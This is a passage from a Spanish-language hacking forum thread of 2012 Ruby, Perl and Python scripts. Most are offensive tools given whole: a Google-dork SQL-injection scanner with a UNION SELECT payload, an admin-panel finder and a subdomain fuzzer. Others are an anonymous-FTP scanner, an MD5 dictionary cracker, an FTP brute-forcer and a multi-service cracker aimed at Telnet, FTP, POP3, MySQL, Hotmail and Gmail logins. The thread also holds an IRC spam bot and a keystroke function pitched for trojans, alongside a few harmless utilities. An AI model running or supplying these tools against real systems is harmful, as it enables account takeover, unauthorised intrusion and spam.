@    @  @   @ @   @ @   @ @ @            @  @     @   @ @  @     @   @
@   @@  @   @ @   @ @   @ @ @   @    @   @  @   @ @   @ @  @   @ @   @
  @@@ @   @@@   @@@   @@@@ @  @@@      @@@    @@@   @@@@ @   @@@  @   @
                         @                                             
                     @@@@                                             
                     
                     

                     "
end

def retor()
  print "\n\n[+] Press any key to continue\n\n"
  gets.chomp
  menu()
end


def copyright()
  print "\n\n(C) Doddy Hackman 2012\n\n"
  exit(1)
end

def about()
  print "
 
This program was written by Doddy in the summer of 2012, I will not take responsibility for any misuse that can be given to the program was written only for educational purposes.
Any questions or suggestions please contact me my mail lepuke [at] hotmail.com
 
  "

end


def googlear(string,cantidad)
  print "\n\n[+] Searching ....\n\n"
  string = string.sub(/ /,"+")
  contador = 0
  guardo = []
  for i in ("1"..cantidad)
    contador+=10
    url = "http://www.google.com.ar/search?hl=&q=#{string}&start=#{contador}"
    code = toma(url)
    links = URI::extract(code)
    links.each do |link|
      if link=~/cache:(.*?):(.*?)\+/
        guardo.push($2)
      end
    end
  end
  guardo = guardo.uniq
  print "\n\n[+] Pages Count : ",guardo.length,"\n\n"
  return guardo
end

def savefile(file,text)
   save = File.open(file, "a")
   save.puts text+"\n"
   save.close
end

def menu()
  head()
  print "\n\n1 - Search in google\n"
  print "2 - Scan SQLI\n"
  print "3 - About\n"
  print "4 - Exit"
  print "\n\n[Option] : "
  op = gets.chomp
 
  if op == "1"
    print "\n\n[+] String : "
    string = gets.chomp
    print "\n\n[+] Pages : "
    pages = gets.chomp
    total = googlear(string,pages)
    total.each do |to|
      print "[Link] : ",to,"\n"
      savefile(string+".txt",to)
    end
    retor()
   
  elsif op=="2"
    print "\n\n[+] File : "
    fi = gets.chomp
    paginas = openwords(fi)
    print "[+] Scanning ..\n\n\n"
    paginas.each do |pag|
      pag = pag.chomp
      if pag=~/(.*)=(.*)/
        final = $1+"="
        code = toma(final+"1+and+1=0+union+select+1--")
        if code=~/The used SELECT statements have a different number of columns/
          print "[SQLI] : "+final+"\n"
        end
      end
    end
    print "\n\n[+] Finished\n\n"
    retor()
 
  elsif op =="3"
    about()
    gets.chomp
    menu()
   
  elsif op=="4"
    copyright()
  else
   menu()   
  end
end

menu()

# The End ?

#290
Scripting / [Ruby] IP Locator 0.1
11 Febrero 2012, 23:06 PM
Un localizador de IP.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#IP Locator 0.1
#Coded By Doddy H

require "net/http"
require "resolv"

def uso
  print "\n[+] iplocator.rb <site>\n"
end

def toma(web)
  return Net::HTTP.get_response(URI.parse(web)).body
end
 
def head()
  print "\n\n -- == IP Locator 0.1 == --\n\n"
end

def copyright()
   print "\n\n\n(C) Doddy Hackman 2012\n\n"
   exit(1)
end

target = ARGV[0]

head()
if !target
  uso()
else
  ip = Resolv.getaddress(target)
  web = "http://www.melissadata.com/lookups/iplocation.asp?ipaddress="+ip
  print "\n\n[+] Getting info\n\n\n"
  code = toma(web)
  if code=~/City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
    print "[+] City : "+$2+"\n";
  end
  if code=~/Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
    print "[+] Country : "+$2+"\n";
  end
  if code=~/State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
     print "[+] State or Region : "+$2+"\n";
  end
end

copyright()

# The End ?
#291
Scripting / [Ruby] IRC Spam 0.2
11 Febrero 2012, 23:05 PM
Un simple programa para hacer Spam en un canal de IRC.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#IRC Spam 0.2
#Coded By Doddy H

$nicks = ["ruben","negro jose","rasputin","juancho"]
$spam = ["hola","chau","hasta","nunca"]

def head()
  print "\n\n == -- IRC Spam 0.2 -- ==\n\n"
end

def uso()
  print "\n[+] Sintax : #{$0} <host> <channel>\n"
end

def copyright()
  print "\n\n(C) Doddy Hackman 2012\n\n"
end

def load(host,canal)
  begin
    irc = TCPSocket.open(host,6667)
  rescue
    print "\n\n[-] Error\n\n"
  else
    nick_azar = $nicks[rand($nicks.size)]
    irc.print "NICK "+nick_azar+"\r\n"
    irc.print "USER "+nick_azar+" 1 1 1 1\r\n"
    irc.print "JOIN #{canal}\r\n"
    print "\n\n[+] Online\n\n"
    while 1
      code = irc.recv(666)

      if (code=~/PING (.*)/)
        irc.print "PONG #{$1}\n"
      end
      print "\n[+] The party started\n"
      while 1
        sleep(60) # 1 minute
        texto = $spam[rand($spam.size)]
        irc.print "PRIVMSG #{canal} #{texto}\n"
      end
    end
  end
end

head()

host = ARGV[0]
canal = ARGV[1]

if !host and !canal
  uso()
else
  load(host,canal)
end

copyright()

# ¿ The End ?

#292
Scripting / [Ruby] PanelControl 0.2
11 Febrero 2012, 23:05 PM
Nueva version de este buscador de panel administracion.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#PanelControl 0.2
#Coded By Doddy H

panels = ['admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']

require "net/http"

def uso
  print "\n[+] panelcontol.rb <site>\n"
end

def toma(web)
  return Net::HTTP.get_response(web)
end

def savefile(file,text)
   save = File.open(file, "a")
   save.puts text+"\n"
   save.close
end

def head()
  print "\n\n -- == Panel Control 0.2 == --\n\n"
end

def copyright()
   print "\n\n\n(C) Doddy Hackman 2012\n\n"
   exit(1)
end

def fin()
   print "\n\n[+] Scan Finished\n"
end

web = ARGV[0]

head()
if !web
  uso()
else
  print "\n[+] Starting the scan...\n\n\n"
  panels.each do |panel|
    begin
      code = toma(URI.parse(web+"/"+panel))
    rescue
      fin()
      copyright()
    end
    case code
      when Net::HTTPSuccess
        print "[Link] : "+web+"/"+panel+"\n"
        savefile("panels-logs.txt",web+"/"+panel)
      end
    end
  fin()   
end

copyright()

# The End ?
#293
Scripting / [Ruby] Fuzz DNS 0.3
11 Febrero 2012, 23:05 PM
Un buscador de DNS.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#Fuzz DNS 0.3
#Coded By Doddy H

paths = ['www','www1','www2','www3','ftp','ns','mail','3com','aix','apache','back','bind','boreder','bsd','business','chains','cisco','content','corporate','cpv','dns','domino','dominoserver','download','e-mail','e-safe','email','esafe','external','extranet','firebox','firewall','front','fw','fw0','fwe','fw-1','firew','gate','gatekeeper','gateway','gauntlet','group','help','hop','hp','hpjet','hpux','http','https','hub','ibm','ids','info','inside','internal','internet','intranet','ipfw','irix','jet','list','lotus','lotusdomino','lotusnotes','lotusserver','mailfeed','mailgate','mailgateway','mailgroup','mailhost','maillist','mailpop','mailrelay','mimesweeper','ms','msproxy','mx','nameserver','news','newsdesk','newsfeed','newsgroup','newsroom','newsserver','nntp','notes','noteserver','notesserver','nt','outside','pix','pop','pop3','pophost','popmail','popserver','print','printer','private','proxy','proxyserver','public','qpop','raptor','read','redcreek','redhat','route','router','scanner','screen','screening','ecure','seek','smail','smap','smtp','smtpgateway','smtpgw','solaris','sonic','spool','squid','sun','sunos','suse','switch','transfer','trend','trendmicro','vlan','vpn','wall','web','webmail','webserver','webswitch','win2000','win2k','upload','file','fileserver','storage','backup','share','core','gw','wingate','main','noc','home','radius','security','access','dmz','domain','sql','mysql','mssql','postgres','db','database','imail','imap','exchange','sendmail','louts','test','logs','stage','staging','dev','devel','ppp','chat','irc','eng','admin','unix','linux','windows','apple','hp-ux','bigip','pc']
#paths = ['www']

require "net/http"

def uso
 print "\n[+] fuzzdns.rb <domain>\n"
end

def toma(web)
  return Net::HTTP.get_response(web)
end

def savefile(file,text)
 save = File.open(file, "a")
 save.puts text+"\n"
 save.close
end

def head()
 print "\n\n -- == Fuzz DNS 0.3 == --\n\n"
end

def copyright()
  print "\n\n\n(C) Doddy Hackman 2012\n\n"
  exit(1)
end

def fin()
  print "\n\n[+] Scan Finished\n"
end

web = ARGV[0]

head()
if !web
 uso()
else
 print "\n[+] Starting the scan...\n\n\n"
 paths.each do |path|
   begin
     code = toma(URI.parse("http://"+path+"."+web))
   rescue
     fin()
     copyright()
   end
   case code
     when Net::HTTPSuccess
       print "[Link] : "+"http://"+path+"."+web+"\n"
       savefile("dns-logs.txt","http://"+path+"."+web)
     end
   end
 fin()    
end

copyright()

# The End ?
#294
Scripting / [Ruby] FTP Scan 0.1
11 Febrero 2012, 23:04 PM
Un buscador de servidores FTP que tengan habilitado el usuario anonymous.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#FTP Scan 0.1
#Coded By Doddy H

require "net/ftp"

def openwords(file)
  if File.file?(file)
    print "\n[+] Opening file\n\n"
    ar = File.open(file)
    lineas = ar.readlines
    ar.close
    print "[+] Number of words : ",lineas.length,"\n\n"
    return lineas
  else
    print "[-] Error opening file\n"
  end
end

def savefile(file,text)
  save = File.open(file, "a")
  save.puts text+"\n"
  save.close
end

def sintax()
  print "\n[+] ruby ftpscan.rb <file>\n"
end

def head()
  print "\n-- == FTP Scan 0.1 == --\n\n"
end

def copyright()
  print "\n\n(C) Doddy Hackman 2012\n"
  exit(1)
end

file = ARGV[0]

head()

if !file
  sintax()
else
  paginas = openwords(file)
  print "\n[+] Scanning ...\n\n"
  paginas.each do |pag|
    pag = pag.chomp
    target = URI.parse(pag)
    begin
    ftp =Net::FTP.new(target.host,"anonymous","test@hotmail.com")
    rescue Net::FTPPermError
    else
      print "[+] Anonymous Found : "+target.host+"\n";
      savefile("ftp-logs.txt",target.host)
    end
  end
  print "\n\n[+] Scan Finished\n\n"
end

copyright()

# The End ?
#295
Scripting / [Ruby] FinderText
11 Febrero 2012, 23:04 PM
Un buscador de texto , sirve para encontrar archivos que contengan cierto patron.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#FinderText 0.1
#Coded By Doddy H

def openwords(file)
  if File.file?(file)
    ar = File.open(file)
    lineas = ar.readlines
    ar.close
    return lineas
  end
end

def escalar(dir,text)
  files = Dir.new(dir).entries
  files.each do |file|
    if File.file?(dir+"/"+file)
      contador = 0
      words = openwords(dir+"/"+file)
      words.each do |word|
      word = word.chomp
      contador+=1
      if word=~/#{text}/
        parteuno = dir+"/"+file
        patron = File.basename(__FILE__)
        if not parteuno=~/#{patron}/
          print "[+] File Found : "+dir+"/"+file+" in line #{contador}\n"
        end       
      end
    end
    else
      if file != "." and file != ".." and file != File.basename(__FILE__)
        escalar(dir+"/"+file,text)
      end
    end
  end
end

def sintax()
  print "\n[+] sintax : ruby findertext.rb <directory> <text>\n"
end

def head()
  print "\n-- == FinderText 0.1 == --\n\n"
end

def copyright()
  print "\n\n(C) Doddy Hackman 2012\n\n"
end

head()

dir = ARGV[0]
text = ARGV[1]

if !dir and !text
  sintax()
else
  print "\n[+] Starting the search\n\n\n"
  escalar(dir,text)
  print "\n\n[+] Finished\n\n"
end

copyright()
   
# The End ?
#296
Scripting / [Ruby] FinderShells 0.1
11 Febrero 2012, 23:04 PM
Un buscador de shells de forma local.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#FinderShells 0.1
#Coded By Doddy H

$textos = ["C99Shell","r57shell","DxShell","HiddenShell","~ Andr3a92 ~ Sh3ll ~","CShell","Dark Shell","GsC SheLL","N3fa5t1cA Sh3ll","ONBOOMSHELL",
"StAkeR ~ Shell","MoDDeD By KinG-InFeT","31337 Shel"]

def openwords(file)
  if File.file?(file)
    ar = File.open(file)
    lineas = ar.readlines
    ar.close
    return lineas
  end
end

def escalar(dir)
  files = Dir.new(dir).entries
  files.each do |file|
    if File.file?(dir+"/"+file)
      contador = 0
      words = openwords(dir+"/"+file)
      words.each do |word|
      word = word.chomp
      contador+=1
      $textos.each do |text|
        if word=~/#{text}/
          parteuno = dir+"/"+file
          patron = File.basename(__FILE__)
          if not parteuno=~/#{patron}/
            print "[+] Shell Found : "+dir+"/"+file+" in line #{contador}\n"
          end
        end
      end     
    end
    else
      if file != "." and file != ".."
        escalar(dir+"/"+file)
      end
    end
  end
end

def sintax()
  print "\n[+] sintax : ruby findershells.rb <directory>\n"
end

def head()
  print "\n-- == FinderShells 0.1 == --\n\n"
end

def copyright()
  print "\n\n(C) Doddy Hackman 2012\n\n"
end

head()

dir = ARGV[0]

if !dir
  sintax()
else
  print "\n[+] Starting the search\n\n\n"
  escalar(dir)
  print "\n\n[+] Finished\n\n"
end

copyright()
   
# The End ?
#297
Scripting / [Ruby] CrackHash 0.1
10 Febrero 2012, 21:04 PM
Un simple codigo en ruby para crackear un hash md5 con un diccionario.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#CrackHash 0.1
#Coded By Doddy H
#Test with 202cb962ac59075b964b07152d234b70 = 123

require "digest/md5"

def openwords(file)
  if File.file?(file)
    print "\n[+] Opening file\n\n"
    ar = File.open(file)
    lineas = ar.readlines
    ar.close
    print "[+] Number of words : ",lineas.length,"\n\n"
    return lineas
  else
    print "[-] Error opening file\n"
  end
end

def sintax()
  print "\n[+] ruby crack.rb <hash> <wordlist>\n"
end

def head()
  print "\n-- == CrackHash 0.1 == --\n\n"
end

def copyright()
  print "\n\n(C) Doddy Hackman 2012\n"
  exit(1)
end

hash = ARGV[0]
wordlist = ARGV[1]

head()

if !hash and !wordlist
  sintax()
else
  if hash.length ==32
    words = openwords(wordlist)
    print "\n[+] Cracking hash...\n\n"
    words.each do |word|
      word = word.chomp
      if Digest::MD5.hexdigest(word) == hash
        print "\a\a\n[+] Hash cracked : ",word,"\n"
        copyright()
      end     
    end
    print "\n[-] Hash not found\n\n"
  else
    print "\n[-] Hash invalid\n\n"
    copyright()     
  end
end

copyright()


# The End ?
#298
Scripting / [Ruby] FTP Crack 0.1
10 Febrero 2012, 21:04 PM
Un simple codigo en ruby para crackear un server FTP mediante un diccionario.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#FTP Crack 0.1
#Coded By Doddy H

require "net/ftp"

def openwords(file)
  if File.file?(file)
    print "\n[+] Opening file\n\n"
    ar = File.open(file)
    lineas = ar.readlines
    ar.close
    print "[+] Number of words : ",lineas.length,"\n\n"
    return lineas
  else
    print "[-] Error opening file\n"
  end
end

def sintax()
  print "\n[+] ruby ftpcrack.rb <host> <user> <wordlist>\n"
end

def head()
  print "\n-- == FTP Crack 0.1 == --\n\n"
end

def copyright()
  print "\n\n(C) Doddy Hackman 2012\n"
  exit(1)
end

host = ARGV[0]
user = ARGV[1]
wordlist = ARGV[2]

head()

if !host and !user and !wordlist
  sintax()
else
  words = openwords(wordlist)
  print "\n[+] Cracking ...\n\n"
  words.each do |word|
    word = word.chomp
    begin
    ftp =Net::FTP.new(host,user,word)
    rescue Net::FTPPermError
    else
      print "\a\a\n[+] Password Cracked : ",word,"\n"
      copyright()
    end
  end
  print "\n[-] Pass not found\n"
end

copyright()

# The End ?
#299
Scripting / [Ruby] Funcion cambiarfondo()
10 Febrero 2012, 21:03 PM
Una simple funcion en ruby para cambiar el fondo de Windows, lo eh probado en window seven y anda bien.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#Funcion cambiarfondo()
#Based on a code of protos

require "Win32API"

def cambiarfondo(imagen)
  fondo = Win32API.new("user32", "SystemParametersInfo", ['L', 'L', 'P', 'L'], 'L')
  fondo.Call(20, 0, imagen, 0)
end

cambiarfondo("fondo/test.jpg");

#The End ?
#300
Scripting / [Ruby] Funcion openwords()
10 Febrero 2012, 21:03 PM
Una simple funcion en ruby para cargar un archivo de texto , la funcion retorna un array con las palabras encontradas en el archivo de texto.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#Funcion openwords()
#Coded By Doddy H

def openwords(file)
  if File.file?(file)
    print "[+] Opening file\n\n"
    ar = File.open(file)
    lineas = ar.readlines
    ar.close
    print "[+] Number of words : ",lineas.length,"\n\n"
    return lineas
  else
    print "[-] Error opening file\n"
  end
end

words = openwords("test.txt")
words.each do |word|
  word = word.chomp
  print "[+] Word : ",word
end

#The End ?
#301
Scripting / [Ruby] Funcion savefile()
10 Febrero 2012, 21:02 PM
Una simple funcion en ruby para escribir en un archivo de texto.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#Funcion savefile()
#Coded By Doddy H

def savefile(file,text)
  save = File.open(file, "a")
  save.puts text+"\n"
  save.close
end

savefile("test.txt","probando")

#The End ?


#302
Scripting / [Ruby] Funcion send()
10 Febrero 2012, 19:02 PM
Una funcion para mandar teclas , es una funcion interesante si estas pensando en un troyano ya que podrian escribir de forma remota en el teclado de la persona infectada por dicho troyano.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#Funcion send()
#Coded By Doddy H

require "win32ole"

def send(decir)
  test = WIN32OLE.new('Wscript.Shell')
  test.SendKeys(decir)
end

send("no tengas miedo.....")

# The End ?
#303
Scripting / [Ruby] Funcion speak()
10 Febrero 2012, 19:02 PM
Una simple funcion para hacer hablar a la computadora , no se emocionen solo habla en ingles , cabe destacar que este funcion no anda en Window Seven , pero si en Vista y XP.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#Funcion speak()
#Coded by Doddy H

require "win32ole"

def speak(text)
  test = WIN32OLE.new("SAPI.Spvoice")
  test.Speak(text)
end

speak("Hi stupid ,i like fuck your mother")

#The End ?
#304
Scripting / [Ruby] Funcion toma()
10 Febrero 2012, 19:02 PM
Una simple funcion para cargar una pagina web , la funcion retorna el codigo fuente de la pagina cargada.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#Funcion toma()
#Coded By Doddy H

require "net/http"

def toma(web)
  return Net::HTTP.get_response(URI.parse(web)).body
end
 
code = toma("http://127.0.0.1/post.php")
print code

#The End ?
#305
Scripting / [Ruby] Funcion tomar()
10 Febrero 2012, 19:01 PM
Una simple funcion para cargar una pagina web que usa algun formulario.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#Funcion tomar()
#Coded By Doddy H

require "net/http"

def toma(web,par)
  return Net::HTTP.post_form(URI.parse(web),par).body
end
 
code = toma("http://127.0.0.1/post.php",{"te"=>"probando","ok1"=>"ok"})
print code

#The End ?
#306
Scripting / [Ruby] Resolve IP 0.1
10 Febrero 2012, 19:01 PM
Nada del otro mundo , un simple codigo en ruby para conocer la IP de cualquier host.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#Resolve IP 0.1
#Coded By Doddy H

require "resolv"

def head()
  print "-- == Resolve IP 0.1 == --\n"
end

def copyright()
  print "\n(C) Doddy Hackman 2012\n"
  exit(1)
end

def sintax()
  print "\n\n[+] ruby resolve.rb <host>\n\n"
end

head()
if !ARGV[0]
  sintax()
else
  ip =Resolv.getaddress(ARGV[0])
  print "\n\n[+] IP : ",ip,"\n\n"   
end
copyright()

#The End ?
#307
Scripting / [Perl] URL Shorter 0.1
6 Febrero 2012, 19:43 PM
un simple script para simplificar URLS.

Código (perl) [Seleccionar]

#!usr/bin/perl
#URL Shorter 0.1
#Coded By Doddy H

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

head();
print "\n\n\n\n[+] URL : ";
chomp( my $url = <stdin> );
my $code = $nave->get( "http://tinyurl.com/api-create.php?url=" . $url );
if ( $code->is_success ) {
   my $link = $code->content;
   print "\n\n[+] URL Shorter : $link\n";
}
copyright();

sub head {

   print qq(


@    @  @@@@@   @         @@@   @                        
@    @  @    @  @        @   @  @              @          
@    @  @    @  @        @      @              @          
@    @  @    @  @        @      @ @@   @@@  @@ @@  @@@  @@
@    @  @@@@@   @         @@@   @@  @ @   @ @  @  @   @ @
@    @  @    @  @            @  @   @ @   @ @  @  @@@@@ @
@    @  @    @  @            @  @   @ @   @ @  @  @     @
@    @  @    @  @        @   @  @   @ @   @ @  @  @   @ @
 @@@@   @    @  @@@@@     @@@   @   @  @@@  @   @  @@@  @


                                       
                                   Coded By Doddy H
);

}

sub copyright {
   print "\n\n(C) Doddy Hackman 2012\n\n";
   <stdin>;
   exit(1);
}

# The End ?

#308
Scripting / [Python] URL Shorter 0.1
6 Febrero 2012, 19:43 PM
un simple script para simplificar URLS.

Código (python) [Seleccionar]

#!usr/bin/python
#URL Shorter 0.1
#Coded By Doddy H

import urllib2,re,sys

def toma(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()

def head():
print """


@    @  @@@@@   @         @@@   @                         
@    @  @    @  @        @   @  @              @         
@    @  @    @  @        @      @              @         
@    @  @    @  @        @      @ @@   @@@  @@ @@  @@@  @@
@    @  @@@@@   @         @@@   @@  @ @   @ @  @  @   @ @
@    @  @    @  @            @  @   @ @   @ @  @  @@@@@ @
@    @  @    @  @            @  @   @ @   @ @  @  @     @
@    @  @    @  @        @   @  @   @ @   @ @  @  @   @ @
  @@@@   @    @  @@@@@     @@@   @   @  @@@  @   @  @@@  @


                                       
                                    Coded By Doddy H
"""

def copyright():
print "\n\n(C) Doddy Hackman 2012\n"
raw_input()
sys.exit(1)

head()

url = raw_input("\n\n[+] URL : ")

try:
code = toma("http://tinyurl.com/api-create.php?url="+url)
print "\n[+] URL Shorter : "+code
except:
print "[-] Error\n"

copyright()

# The End
#309
Scripting / [Ruby] URL Shorter 0.1
6 Febrero 2012, 19:42 PM
un simple script para simplificar URLS.

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#URL Shorter 0.1
#Coded By Doddy H

require "net/http"

def head()
print "


@    @  @@@@@   @         @@@   @                         
@    @  @    @  @        @   @  @              @         
@    @  @    @  @        @      @              @         
@    @  @    @  @        @      @ @@   @@@  @@ @@  @@@  @@
@    @  @@@@@   @         @@@   @@  @ @   @ @  @  @   @ @
@    @  @    @  @            @  @   @ @   @ @  @  @@@@@ @
@    @  @    @  @            @  @   @ @   @ @  @  @     @
@    @  @    @  @        @   @  @   @ @   @ @  @  @   @ @
  @@@@   @    @  @@@@@     @@@   @   @  @@@  @   @  @@@  @


                                       
                                    Coded By Doddy H
"

end

def copyright()
print "\n\n\n(C) Doddy Hackman 2012\n\n"
gets.chomp
exit(1)
end

def toma(web)
return Net::HTTP.get_response(URI.parse(web)).body
end

head()

print "\n\n\n[+] URL : "
url = gets.chomp

code = toma("http://tinyurl.com/api-create.php?url="+url)
print "\n[+] URL Shorter : "+code

copyright()

# The End ?
#310
Scripting / [Perl] MassiveCracker 0.3
4 Febrero 2012, 20:57 PM
Hola , aca les traigo una mejora de un antiguo cracker que hice hace tiempo.

Las opciones de crack que tiene son

  • Telnet
  • FTP
  • POP3
  • Mysql
  • Hotmail
  • Gmail


    Ademas guarda todos los registros en un archivo de texto que el mismo programa crea.

    Código (perl) [Seleccionar]

    #!usr/bin/perl
    #Massive Cracker 0.3
    #Coded By Doddy H
    #http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
    #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
    #ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
    #http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
    #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
    #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd

    use Net::FTP;
    use Net::POP3;
    use Net::Telnet;
    use DBI;

    use Mail::POP3Client;
    use IO::Socket::SSL;

    head();

    print "[+] Option :  ";
    chomp( my $op = <stdin> );

    if ( $op eq "1" ) {

        my ( $host, $user, $word ) = form1();
        my @words = openwordlist($word);

        print "[+] Cracking service Telnet";

        for my $pass (@words) {
            chomp $pass;

            $telnet = new Net::Telnet( Errmode => "return" );
            $telnet->open($host);
            if ( $telnet->login( $user, $pass ) ) {
                yeah( $host, $user, $pass, "Telnet" );
            }
            $telnet->close;

        }

        print "\n\n[-] Password Not Found\n";

    }

    elsif ( $op eq "2" ) {

        my ( $host, $user, $word ) = form1();
        my @words = openwordlist($word);

        print "[+] Cracking service FTP";

        for my $pass (@words) {
            chomp $pass;
            $ftp = Net::FTP->new($host);
            if ( $ftp->login( $user, $pass ) ) {
                yeah( $host, $user, $pass, "FTP" );
            }
            $ftp->quit;
        }

        print "\n\n[-] Password Not Found\n";

    }
    elsif ( $op eq "3" ) {

        my ( $host, $user, $word ) = form1();
        my @words = openwordlist($word);

        print "[+] Cracking service POP3";

        for my $pass (@words) {
            chomp $pass;

            $pop = Net::POP3->new($host);
            if ( $pop->login( $user, $pass ) ) {
                yeah( $host, $user, $pass, "POP3" );
            }
            $pop->quit();
        }

        print "\n\n[-] Password Not Found\n";

    }

    elsif ( $op eq "4" ) {

        my ( $host, $user, $word ) = form1();
        my @words = openwordlist($word);

        print "[+] Cracking service Mysql";

        $target = "dbi:mysql::" . $host . ":3306";

        for my $pass (@words) {
            chomp $pass;

            if ( my $now =
                DBI->connect( $target, $user, $pass, { PrintError => 0 } ) )
            {
                yeah( $host, $user, $pass, "Mysql" );
            }
        }

        print "\n\n[-] Password Not Found\n";

    }

    elsif ( $op eq "5" ) {

        my ( $user, $word ) = form2();
        my @words = openwordlist($word);

        print "[+] Cracking account Hotmail";

        for my $pass (@words) {
            chomp $pass;

            my $so = IO::Socket::SSL->new(
                PeerAddr => "pop3.live.com",
                PeerPort => 995,
                Proto    => "tcp"
            );

            my $nave = Mail::POP3Client->new();

            $nave->User($user);
            $nave->Pass($pass);
            $nave->Socket($so);

            if ( $nave->Connect() ) {
                yeahmail( "Hotmail", $user, $pass );
            }

            $so->close();
            $nave->close();

        }

    }

    elsif ( $op eq "6" ) {

        my ( $user, $word ) = form2();
        my @words = openwordlist($word);

        print "[+] Cracking account Gmail";

        for my $pass (@words) {
            chomp $pass;

            my $so = IO::Socket::SSL->new(
                PeerAddr => "pop.gmail.com",
                PeerPort => 995,
                Proto    => "tcp"
            );

            my $nave = Mail::POP3Client->new();

            $nave->User($user);
            $nave->Pass($pass);
            $nave->Socket($so);

            if ( $nave->Connect() ) {
                yeahmail( "Gmail", $user, $pass );
            }

            $so->close();
            $nave->close();

        }

    }

    else {
        print "\n\n[+] Bad Option\n";
    }

    copyright();

    sub yeah {

        print "\a\a\n\n[+] Cracked\n\n";
        print "[Host] : $_[0]\n";
        print "[User] : $_[1]\n";
